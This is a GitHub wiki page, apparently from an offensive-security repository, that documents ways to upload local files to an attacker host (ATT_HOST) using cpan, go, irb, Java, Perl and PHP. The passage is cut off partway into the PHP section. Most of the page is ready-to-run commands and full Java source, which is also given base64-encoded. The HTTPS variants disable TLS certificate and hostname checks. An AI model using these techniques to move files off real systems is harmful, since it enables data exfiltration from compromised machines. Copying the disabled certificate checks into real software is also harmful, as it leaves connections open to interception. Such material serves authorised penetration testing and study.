UL_ _OSA_ _Scripting_Languages - lighthouseitsecurity/barabbas GitHub Wiki
OVERVIEW:
-
cpan
(HTTP; HTTPS) -
go
(HTTP; HTTPS) -
irb
(HTTP; HTTPS) -
java
+javac
(HTTP; HTTPS) -
perl
(HTTP; HTTPS) -
php
(HTTP; HTTPS) -
python
(HTTP; HTTPS) -
ruby
(HTTP; HTTPS)
NOTE: for the sake of brevity, documenting each process for Linux OS only
- process for Windows OS has minor (self-explanatory) differences
(identify supported options - languages - file upload - terminal)
tools=("cpan" "go" "irb" "java" "javac" "perl" "php*" "python2*" "python3*" "ruby*"); echo '[*] languages - file upload - available options'; for tool in ${tools[@]}; do echo " [*] $tool"; find /etc /bin /usr/bin /usr/lib /usr/sbin /usr/local/bin /usr/local/lib /usr/local/sbin /opt -type f -executable -name "$tool" 2>/dev/null; echo ''; done
https://linux.die.net/man/1/cpan
TESTED ON: Kali 2023.2
NOTE: uses HTTP POST
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)";
cpan;
! use Env; use Env qw(URL LFILE); use LWP::UserAgent; use HTTP::Request::Common; my $ua=LWP::UserAgent->new(); my $req=HTTP::Request::Common::POST($URL,Content_Type=>"form-data",Content=>[file=>[$LFILE]]); my $res=$ua->request($req); print $res->content;
quit
NOTE: if using HTTPS, replace http
with https
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)";
cpan;
! use Env; use Env qw(URL LFILE); use LWP::UserAgent; use HTTP::Request::Common; my $ua=LWP::UserAgent->new(); $ua->ssl_opts(verify_hostname=>0); $ua->ssl_opts(SSL_verify_mode=>0); my $req=HTTP::Request::Common::POST($URL,Content_Type=>"form-data",Content=>[file=>[$LFILE]]); my $res=$ua->request($req); print $res->content;
quit
TESTED ON: Kali 2023.2
NOTES:
- uses
HTTP PUT
- temporary directory can not be under
/tmp
(will result with an error; file transfer will fail)- use user-writable directory
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
export TMPDIR=$(pwd);
echo "package main; import(\"net/http\"; \"os\"; \"fmt\"; \"io/ioutil\"); func main() { ulf, _ := os.Open(\"$LFILE\"); defer ulf.Close(); s, _ := ulf.Stat(); req, _ := http.NewRequest(\"PUT\",\"$URL\",ulf); req.ContentLength = s.Size(); cl := &http.Client{}; res, _ :=cl.Do(req); c, _ := ioutil.ReadAll(res.Body); fmt.Println(string(c)); }" > ul.go;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(go run ul.go;); echo "[*] REMOTE MD5 (SERVER): $res";
NOTE: if using HTTPS, replace http
with https
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
export TMPDIR=$(pwd);
echo "package main; import(\"net/http\"; \"os\"; \"fmt\"; \"io/ioutil\"; \"crypto/tls\"); func main() { ulf, _ := os.Open(\"$LFILE\"); defer ulf.Close(); s, _ := ulf.Stat(); http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}; req, _ := http.NewRequest(\"PUT\",\"$URL\",ulf); req.ContentLength = s.Size(); cl := &http.Client{}; res, _ :=cl.Do(req); c, _ := ioutil.ReadAll(res.Body); fmt.Println(string(c)); }" > ul.go;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(go run ul.go;); echo "[*] REMOTE MD5 (SERVER): $res";
https://linux.die.net/man/1/irb
TESTED ON: Kali 2023.2
NOTE: uses HTTP PUT
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)";
irb;
require "uri"; require "net/http"; uri=URI(ENV["URL"]); http=Net::HTTP.new(uri.host,uri.port); req=Net::HTTP::Put.new(uri.path); req.body=File.open(ENV["LFILE"],"r") {|io| io.read}; res=http.request(req); p res.body;
quit;
NOTE: if using HTTPS, replace http
with https
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)";
irb;
require "uri"; require "net/http"; uri=URI(ENV["URL"]); https=Net::HTTP.new(uri.host,uri.port); https.use_ssl=true; https.verify_mode=OpenSSL::SSL::VERIFY_NONE; req=Net::HTTP::Put.new(uri.path); req.body=File.open(ENV["LFILE"],"r") {|io| io.read}; res=https.request(req); p res.body;
quit;
https://docs.oracle.com/en/java/javase/17/docs/specs/man/java.html
https://docs.oracle.com/en/java/javase/17/docs/specs/man/javac.html
TESTED ON: Kali 2023.2
NOTES:
- uses
HTTP PUT
- file downloaded to current directory
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] copy script source code
HttpPutFileUpload.java
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
public class HttpPutFileUpload {
public static void main(String[] args) {
URLConnection urlconn = null;
if(args.length != 2) {
System.out.println("[*] Usage: java HttpPutFileUpload <LOCAL_FILE> <TARGET_FILE_URL>");
System.exit(0);
}
String LFILE = args[0];
String URL = args[1];
try {
File ulf = new File(LFILE);
URL targetURL = new URL(URL);
urlconn = targetURL.openConnection();
urlconn.setDoOutput(true);
urlconn.setDoInput(true);
if (urlconn instanceof HttpURLConnection) {
((HttpURLConnection) urlconn).setRequestMethod("PUT");
((HttpURLConnection) urlconn).setRequestProperty("Content-type", "text/plain");
((HttpURLConnection) urlconn).connect();
}
BufferedOutputStream bos = new BufferedOutputStream(urlconn.getOutputStream());
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(ulf));
int c;
while ((c = bis.read()) != -1) {
bos.write(c);
}
bis.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
try {
InputStream instream;
int rescode = ((HttpURLConnection) urlconn).getResponseCode();
if ((rescode >= 200) && (rescode <= 202)) {
instream = ((HttpURLConnection) urlconn).getInputStream();
int c;
String response = "";
while ((c = instream.read()) > 0) {
response += (char) c;
}
System.out.println((response));
} else {
instream = ((HttpURLConnection) urlconn).getErrorStream();
}
((HttpURLConnection) urlconn).disconnect();
} catch (IOException e) {
e.printStackTrace();
}
}
}
// EoF
(base64-decoding one-line script)
echo aW1wb3J0IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbTsKaW1wb3J0IGphdmEuaW8uQnVmZmVyZWRPdXRwdXRTdHJlYW07CmltcG9ydCBqYXZhLmlvLkZpbGU7CmltcG9ydCBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbTsKaW1wb3J0IGphdmEuaW8uSU9FeGNlcHRpb247CmltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtOwppbXBvcnQgamF2YS5uZXQuSHR0cFVSTENvbm5lY3Rpb247CmltcG9ydCBqYXZhLm5ldC5VUkw7CmltcG9ydCBqYXZhLm5ldC5VUkxDb25uZWN0aW9uOwoKcHVibGljIGNsYXNzIEh0dHBQdXRGaWxlVXBsb2FkIHsKICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBtYWluKFN0cmluZ1tdIGFyZ3MpIHsKICAgICAgICBVUkxDb25uZWN0aW9uIHVybGNvbm4gPSBudWxsOwogICAgICAgIGlmKGFyZ3MubGVuZ3RoICE9IDIpIHsKICAgICAgICAgICAgU3lzdGVtLm91dC5wcmludGxuKCJbKl0gVXNhZ2U6IGphdmEgSHR0cFB1dEZpbGVVcGxvYWQgPExPQ0FMX0ZJTEU+IDxUQVJHRVRfRklMRV9VUkw+Iik7CiAgICAgICAgICAgIFN5c3RlbS5leGl0KDApOwogICAgICAgIH0KICAgICAgICBTdHJpbmcgTEZJTEUgPSBhcmdzWzBdOwogICAgICAgIFN0cmluZyBVUkwgPSBhcmdzWzFdOwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIEZpbGUgdWxmID0gbmV3IEZpbGUoTEZJTEUpOwogICAgICAgICAgICBVUkwgdGFyZ2V0VVJMID0gbmV3IFVSTChVUkwpOwogICAgICAgICAgICB1cmxjb25uID0gdGFyZ2V0VVJMLm9wZW5Db25uZWN0aW9uKCk7CiAgICAgICAgICAgIHVybGNvbm4uc2V0RG9PdXRwdXQodHJ1ZSk7CiAgICAgICAgICAgIHVybGNvbm4uc2V0RG9JbnB1dCh0cnVlKTsKICAgICAgICAgICAgaWYgKHVybGNvbm4gaW5zdGFuY2VvZiBIdHRwVVJMQ29ubmVjdGlvbikgewogICAgICAgICAgICAgICAgKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuc2V0UmVxdWVzdE1ldGhvZCgiUFVUIik7CiAgICAgICAgICAgICAgICAoKEh0dHBVUkxDb25uZWN0aW9uKSB1cmxjb25uKS5zZXRSZXF1ZXN0UHJvcGVydHkoIkNvbnRlbnQtdHlwZSIsICJ0ZXh0L3BsYWluIik7CiAgICAgICAgICAgICAgICAoKEh0dHBVUkxDb25uZWN0aW9uKSB1cmxjb25uKS5jb25uZWN0KCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQnVmZmVyZWRPdXRwdXRTdHJlYW0gYm9zID0gbmV3IEJ1ZmZlcmVkT3V0cHV0U3RyZWFtKHVybGNvbm4uZ2V0T3V0cHV0U3RyZWFtKCkpOwogICAgICAgICAgICBCdWZmZXJlZElucHV0U3RyZWFtIGJpcyA9IG5ldyBCdWZmZXJlZElucHV0U3RyZWFtKG5ldyBGaWxlSW5wdXRTdHJlYW0odWxmKSk7CiAgICAgICAgICAgIGludCBjOwogICAgICAgICAgICB3aGlsZSAoKGMgPSBiaXMucmVhZCgpKSAhPSAtMSkgewogICAgICAgICAgICAgICAgYm9zLndyaXRlKGMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJpcy5jbG9zZSgpOwogICAgICAgICAgICBib3MuY2xvc2UoKTsKICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gZSkgewogICAgICAgICAgICBlLnByaW50U3RhY2tUcmFjZSgpOwogICAgICAgIH0KICAgICAgICB0cnkgewogICAgICAgICAgICBJbnB1dFN0cmVhbSBpbnN0cmVhbTsKICAgICAgICAgICAgaW50IHJlc2NvZGUgPSAoKEh0dHBVUkxDb25uZWN0aW9uKSB1cmxjb25uKS5nZXRSZXNwb25zZUNvZGUoKTsKICAgICAgICAgICAgaWYgKChyZXNjb2RlID49IDIwMCkgJiYgKHJlc2NvZGUgPD0gMjAyKSkgewogICAgICAgICAgICAgICAgaW5zdHJlYW0gPSAoKEh0dHBVUkxDb25uZWN0aW9uKSB1cmxjb25uKS5nZXRJbnB1dFN0cmVhbSgpOwogICAgICAgICAgICAgICAgaW50IGM7CiAgICAgICAgICAgICAgICBTdHJpbmcgcmVzcG9uc2UgPSAiIjsKICAgICAgICAgICAgICAgIHdoaWxlICgoYyA9IGluc3RyZWFtLnJlYWQoKSkgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgcmVzcG9uc2UgKz0gKGNoYXIpIGM7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBTeXN0ZW0ub3V0LnByaW50bG4oKHJlc3BvbnNlKSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBpbnN0cmVhbSA9ICgoSHR0cFVSTENvbm5lY3Rpb24pIHVybGNvbm4pLmdldEVycm9yU3RyZWFtKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuZGlzY29ubmVjdCgpOwogICAgICAgIH0gY2F0Y2ggKElPRXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgZS5wcmludFN0YWNrVHJhY2UoKTsKICAgICAgICB9CiAgICB9Cn0KLy8gRW9GCg== | base64 -d > HttpPutFileUpload.java
3. [CLIENT] compile source code
javac HttpPutFileUpload.java
4. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;
5. [CLIENT] upload file
export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(java HttpPutFileUpload $LFILE $URL;); echo "[*] REMOTE MD5 (SERVER): $res";
NOTE: if using HTTPS, replace http
with https
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] copy script source code
HttpPutFileUploadSelfSignedX509.java
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
public class HttpPutFileUploadSelfSignedX509 {
private class DisableX509Verification {
private static void execute() {
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1)
throws CertificateException {}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1)
throws CertificateException {}
}
};
SSLContext sc = null;
try {
sc = SSLContext.getInstance("SSL");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
try {
sc.init(null, trustAllCerts, new java.security.SecureRandom());
} catch (KeyManagementException e) {
e.printStackTrace();
}
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
HostnameVerifier validHosts = new HostnameVerifier() {
@Override
public boolean verify(String arg0, SSLSession arg1) {
return true;
}
};
HttpsURLConnection.setDefaultHostnameVerifier(validHosts);
}
}
public static void main(String[] args) {
URLConnection urlconn = null;
if(args.length != 2) {
System.out.println("[*] Usage: java HttpPutFileUpload <LOCAL_FILE> <TARGET_FILE_URL>");
System.exit(0);
}
String LFILE = args[0];
String URL = args[1];
try {
File ulf = new File(LFILE);
URL targetURL = new URL(URL);
DisableX509Verification.execute();
urlconn = targetURL.openConnection();
urlconn.setDoOutput(true);
urlconn.setDoInput(true);
if (urlconn instanceof HttpURLConnection) {
((HttpURLConnection) urlconn).setRequestMethod("PUT");
((HttpURLConnection) urlconn).setRequestProperty("Content-type", "text/plain");
((HttpURLConnection) urlconn).connect();
}
BufferedOutputStream bos = new BufferedOutputStream(urlconn.getOutputStream());
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(ulf));
int c;
while ((c = bis.read()) != -1) {
bos.write(c);
}
bis.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
try {
InputStream instream;
int rescode = ((HttpURLConnection) urlconn).getResponseCode();
if ((rescode >= 200) && (rescode <= 202)) {
instream = ((HttpURLConnection) urlconn).getInputStream();
int c;
String response = "";
while ((c = instream.read()) > 0) {
response += (char) c;
}
System.out.println((response));
} else {
instream = ((HttpURLConnection) urlconn).getErrorStream();
}
((HttpURLConnection) urlconn).disconnect();
} catch (IOException e) {
e.printStackTrace();
}
}
}
// EoF
(base64-decoding one-line script)
echo aW1wb3J0IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbTsKaW1wb3J0IGphdmEuaW8uQnVmZmVyZWRPdXRwdXRTdHJlYW07CmltcG9ydCBqYXZhLmlvLkZpbGU7CmltcG9ydCBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbTsKaW1wb3J0IGphdmEuaW8uSU9FeGNlcHRpb247CmltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtOwppbXBvcnQgamF2YS5uZXQuSHR0cFVSTENvbm5lY3Rpb247CmltcG9ydCBqYXZhLm5ldC5VUkw7CmltcG9ydCBqYXZhLm5ldC5VUkxDb25uZWN0aW9uOwppbXBvcnQgamF2YS5zZWN1cml0eS5LZXlNYW5hZ2VtZW50RXhjZXB0aW9uOwppbXBvcnQgamF2YS5zZWN1cml0eS5Ob1N1Y2hBbGdvcml0aG1FeGNlcHRpb247CmltcG9ydCBqYXZhLnNlY3VyaXR5LmNlcnQuQ2VydGlmaWNhdGVFeGNlcHRpb247CmltcG9ydCBqYXZhLnNlY3VyaXR5LmNlcnQuWDUwOUNlcnRpZmljYXRlOwppbXBvcnQgamF2YXgubmV0LnNzbC5Ib3N0bmFtZVZlcmlmaWVyOwppbXBvcnQgamF2YXgubmV0LnNzbC5IdHRwc1VSTENvbm5lY3Rpb247CmltcG9ydCBqYXZheC5uZXQuc3NsLlNTTENvbnRleHQ7CmltcG9ydCBqYXZheC5uZXQuc3NsLlNTTFNlc3Npb247CmltcG9ydCBqYXZheC5uZXQuc3NsLlRydXN0TWFuYWdlcjsKaW1wb3J0IGphdmF4Lm5ldC5zc2wuWDUwOVRydXN0TWFuYWdlcjsKCnB1YmxpYyBjbGFzcyBIdHRwUHV0RmlsZVVwbG9hZFNlbGZTaWduZWRYNTA5IHsKICAgIHByaXZhdGUgY2xhc3MgRGlzYWJsZVg1MDlWZXJpZmljYXRpb24gewogICAgICAgIHByaXZhdGUgc3RhdGljIHZvaWQgZXhlY3V0ZSgpIHsKICAgICAgICAgICAgVHJ1c3RNYW5hZ2VyW10gdHJ1c3RBbGxDZXJ0cyA9IG5ldyBUcnVzdE1hbmFnZXJbXSB7CiAgICAgICAgICAgICAgICBuZXcgWDUwOVRydXN0TWFuYWdlcigpIHsKICAgICAgICAgICAgICAgICAgICBwdWJsaWMgWDUwOUNlcnRpZmljYXRlW10gZ2V0QWNjZXB0ZWRJc3N1ZXJzKCkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gbnVsbDsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQE92ZXJyaWRlCiAgICAgICAgICAgICAgICAgICAgcHVibGljIHZvaWQgY2hlY2tDbGllbnRUcnVzdGVkKFg1MDlDZXJ0aWZpY2F0ZVtdIGFyZzAsIFN0cmluZyBhcmcxKQogICAgICAgICAgICAgICAgICAgICAgdGhyb3dzIENlcnRpZmljYXRlRXhjZXB0aW9uIHt9CiAgICAgICAgICAgICAgICAgICAgQE92ZXJyaWRlCiAgICAgICAgICAgICAgICAgICAgcHVibGljIHZvaWQgY2hlY2tTZXJ2ZXJUcnVzdGVkKFg1MDlDZXJ0aWZpY2F0ZVtdIGFyZzAsIFN0cmluZyBhcmcxKQogICAgICAgICAgICAgICAgICAgICAgdGhyb3dzIENlcnRpZmljYXRlRXhjZXB0aW9uIHt9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH07CiAgICAgICAgICAgIFNTTENvbnRleHQgc2MgPSBudWxsOwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgc2MgPSBTU0xDb250ZXh0LmdldEluc3RhbmNlKCJTU0wiKTsKICAgICAgICAgICAgfSBjYXRjaCAoTm9TdWNoQWxnb3JpdGhtRXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIHNjLmluaXQobnVsbCwgdHJ1c3RBbGxDZXJ0cywgbmV3IGphdmEuc2VjdXJpdHkuU2VjdXJlUmFuZG9tKCkpOwogICAgICAgICAgICB9IGNhdGNoIChLZXlNYW5hZ2VtZW50RXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgSHR0cHNVUkxDb25uZWN0aW9uLnNldERlZmF1bHRTU0xTb2NrZXRGYWN0b3J5KHNjLmdldFNvY2tldEZhY3RvcnkoKSk7CiAgICAgICAgICAgIEhvc3RuYW1lVmVyaWZpZXIgdmFsaWRIb3N0cyA9IG5ldyBIb3N0bmFtZVZlcmlmaWVyKCkgewogICAgICAgICAgICAgICAgQE92ZXJyaWRlCiAgICAgICAgICAgICAgICBwdWJsaWMgYm9vbGVhbiB2ZXJpZnkoU3RyaW5nIGFyZzAsIFNTTFNlc3Npb24gYXJnMSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9OwogICAgICAgICAgICBIdHRwc1VSTENvbm5lY3Rpb24uc2V0RGVmYXVsdEhvc3RuYW1lVmVyaWZpZXIodmFsaWRIb3N0cyk7CiAgICAgICAgfQogICAgfQogICAgcHVibGljIHN0YXRpYyB2b2lkIG1haW4oU3RyaW5nW10gYXJncykgewogICAgICAgIFVSTENvbm5lY3Rpb24gdXJsY29ubiA9IG51bGw7CiAgICAgICAgaWYoYXJncy5sZW5ndGggIT0gMikgewogICAgICAgICAgICBTeXN0ZW0ub3V0LnByaW50bG4oIlsqXSBVc2FnZTogamF2YSBIdHRwUHV0RmlsZVVwbG9hZCA8TE9DQUxfRklMRT4gPFRBUkdFVF9GSUxFX1VSTD4iKTsKICAgICAgICAgICAgU3lzdGVtLmV4aXQoMCk7CiAgICAgICAgfQogICAgICAgIFN0cmluZyBMRklMRSA9IGFyZ3NbMF07CiAgICAgICAgU3RyaW5nIFVSTCA9IGFyZ3NbMV07CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgRmlsZSB1bGYgPSBuZXcgRmlsZShMRklMRSk7CiAgICAgICAgICAgIFVSTCB0YXJnZXRVUkwgPSBuZXcgVVJMKFVSTCk7CiAgICAgICAgICAgIERpc2FibGVYNTA5VmVyaWZpY2F0aW9uLmV4ZWN1dGUoKTsKICAgICAgICAgICAgdXJsY29ubiA9IHRhcmdldFVSTC5vcGVuQ29ubmVjdGlvbigpOwogICAgICAgICAgICB1cmxjb25uLnNldERvT3V0cHV0KHRydWUpOwogICAgICAgICAgICB1cmxjb25uLnNldERvSW5wdXQodHJ1ZSk7CiAgICAgICAgICAgIGlmICh1cmxjb25uIGluc3RhbmNlb2YgSHR0cFVSTENvbm5lY3Rpb24pIHsKICAgICAgICAgICAgICAgICgoSHR0cFVSTENvbm5lY3Rpb24pIHVybGNvbm4pLnNldFJlcXVlc3RNZXRob2QoIlBVVCIpOwogICAgICAgICAgICAgICAgKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuc2V0UmVxdWVzdFByb3BlcnR5KCJDb250ZW50LXR5cGUiLCAidGV4dC9wbGFpbiIpOwogICAgICAgICAgICAgICAgKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuY29ubmVjdCgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEJ1ZmZlcmVkT3V0cHV0U3RyZWFtIGJvcyA9IG5ldyBCdWZmZXJlZE91dHB1dFN0cmVhbSh1cmxjb25uLmdldE91dHB1dFN0cmVhbSgpKTsKICAgICAgICAgICAgQnVmZmVyZWRJbnB1dFN0cmVhbSBiaXMgPSBuZXcgQnVmZmVyZWRJbnB1dFN0cmVhbShuZXcgRmlsZUlucHV0U3RyZWFtKHVsZikpOwogICAgICAgICAgICBpbnQgYzsKICAgICAgICAgICAgd2hpbGUgKChjID0gYmlzLnJlYWQoKSkgIT0gLTEpIHsKICAgICAgICAgICAgICAgIGJvcy53cml0ZShjKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBiaXMuY2xvc2UoKTsKICAgICAgICAgICAgYm9zLmNsb3NlKCk7CiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgZS5wcmludFN0YWNrVHJhY2UoKTsKICAgICAgICB9CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgSW5wdXRTdHJlYW0gaW5zdHJlYW07CiAgICAgICAgICAgIGludCByZXNjb2RlID0gKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuZ2V0UmVzcG9uc2VDb2RlKCk7CiAgICAgICAgICAgIGlmICgocmVzY29kZSA+PSAyMDApICYmIChyZXNjb2RlIDw9IDIwMikpIHsKICAgICAgICAgICAgICAgIGluc3RyZWFtID0gKChIdHRwVVJMQ29ubmVjdGlvbikgdXJsY29ubikuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICAgICAgICAgIGludCBjOwogICAgICAgICAgICAgICAgU3RyaW5nIHJlc3BvbnNlID0gIiI7CiAgICAgICAgICAgICAgICB3aGlsZSAoKGMgPSBpbnN0cmVhbS5yZWFkKCkpID4gMCkgewogICAgICAgICAgICAgICAgICAgIHJlc3BvbnNlICs9IChjaGFyKSBjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgU3lzdGVtLm91dC5wcmludGxuKChyZXNwb25zZSkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaW5zdHJlYW0gPSAoKEh0dHBVUkxDb25uZWN0aW9uKSB1cmxjb25uKS5nZXRFcnJvclN0cmVhbSgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICgoSHR0cFVSTENvbm5lY3Rpb24pIHVybGNvbm4pLmRpc2Nvbm5lY3QoKTsKICAgICAgICB9IGNhdGNoIChJT0V4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIGUucHJpbnRTdGFja1RyYWNlKCk7CiAgICAgICAgfQogICAgfQp9Ci8vIEVvRgo= | base64 -d > HttpPutFileUploadSelfSignedX509.java
3. [CLIENT] compile source code
javac HttpPutFileUploadSelfSignedX509.java
4. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;
5. [CLIENT] upload file
export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(java HttpPutFileUploadSelfSignedX509 $LFILE $URL;); echo "[*] REMOTE MD5 (SERVER): $res";
https://linux.die.net/man/1/perl
TESTED ON: Kali 2023.2
NOTE: uses HTTP POST
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=http://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(perl -e 'use Env; use Env qw(URL LFILE); use LWP::UserAgent; use HTTP::Request::Common; $ua=LWP::UserAgent->new(); $req=HTTP::Request::Common::POST($URL,Content_Type=>"form-data",Content=>[file=>[$LFILE]]); $res=$ua->request($req); print $res->content;'); echo "[*] REMOTE MD5 (SERVER): $(echo $res | sed -n 's/^.*(MD5 \(\S*\)).*$/\1/p')";
NOTE: if using HTTPS, replace http
with https
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=443;
export ATT_PATH=/;
export LFILE=testfile_200MB;
3. [CLIENT] upload file
export URL=https://$ATT_HOST:$ATT_PORT$ATT_PATH$LFILE;
echo "[*] LOCAL MD5 (CLIENT): $(md5sum $PWD/$LFILE | cut -d ' ' -f1)"; res=$(perl -e 'use Env; use Env qw(URL LFILE); use LWP::UserAgent; use HTTP::Request::Common; $ua=LWP::UserAgent->new(); $ua->ssl_opts(verify_hostname=>0); $ua->ssl_opts(SSL_verify_mode=>0); $req=HTTP::Request::Common::POST($URL,Content_Type=>"form-data",Content=>[file=>[$LFILE]]); $res=$ua->request($req); print $res->content;'); echo "[*] REMOTE MD5 (SERVER): $(echo $res | sed -n 's/^.*(MD5 \(\S*\)).*$/\1/p')";
https://linux.die.net/man/1/php
TESTED ON: Kali 2023.2
NOTE: uses HTTP PUT
1. [CLIENT] open terminal session
(open terminal window)
2. [CLIENT] specify file transfer parameters
export ATT_HOST=192.168.5.11;
export ATT_PORT=80;
export ATT_PATH=/;
export LFILE=testfile_200MB;
